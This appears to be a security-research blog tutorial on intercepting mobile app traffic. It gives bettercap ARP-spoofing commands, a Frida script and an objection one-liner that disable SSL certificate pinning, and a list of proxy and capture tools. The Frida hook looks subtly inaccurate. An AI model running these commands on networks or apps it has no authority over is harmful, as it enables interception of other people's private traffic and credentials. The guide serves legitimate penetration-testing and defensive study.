Network Attacks on Mobile: MITM, SSL Pinning Bypass & Traffic Interception

By Security Research Team | Practical Guide

TL;DR: Mobile apps are particularly vulnerable to MITM attacks because they operate on untrusted networks. This post covers ARP spoofing, DNS poisoning, SSL pinning bypass with Frida/objection, and traffic analysis with Burp Suite & Wireshark.

1. ARP Spoofing & DNS Poisoning

On a local Wi-Fi network, the attacker uses ARP spoofing to associate their MAC address with the gateway's IP. Tools like bettercap and arpspoof make this trivial:

# ARP spoof the target and gateway
bettercap -eval "set arp.spoof.targets 192.168.1.105; arp.spoof on"
echo 1 > /proc/sys/net/ipv4/ip_forward

2. SSL Pinning Bypass

Apps implement certificate pinning to lock connections to their specific server certificate. Bypass with Frida:

# Universal SSL pinning bypass
frida -U -f com.target.app --no-pause   -e 'setTimeout(function(){
    Java.perform(function(){
      var SSLParams = Java.use("okhttp3.OkHttpClient$Builder");
      SSLParams.certificatePinner.check.implementation = function(){}
    })
  }, 2000)'

Or use objection for a one-liner:

objection -g com.target.app explore
> android sslpinning disable

Gotcha: Some apps implement pinning in native code (C/C++ via JNI) using TrustKit or CertificateTransparency. Frida's Stalker can trace native TLS libraries (OpenSSL, BoringSSL) to find SSL_CTX_set_cert_verify_callback hooks.

3. Traffic Analysis Tools

Tool	Purpose
Burp Suite	Proxy + Repeater + Scanner with mobile assistant
mitmproxy	Python-scriptable proxy with inline scripts
Wireshark	Packet capture with TLS handshake analysis
PCAPdroid	Android on-device capture, no root required (VPN mode)

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Conclusion

MITM remains one of the most effective attack vectors against mobile apps. The defense is certificate pinning + CA with fallback strategies, plus Network Security Config (Android) and App Transport Security (iOS).

Tags: #MITM #SSL_Pinning #Frida #BurpSuite #NetworkSecurity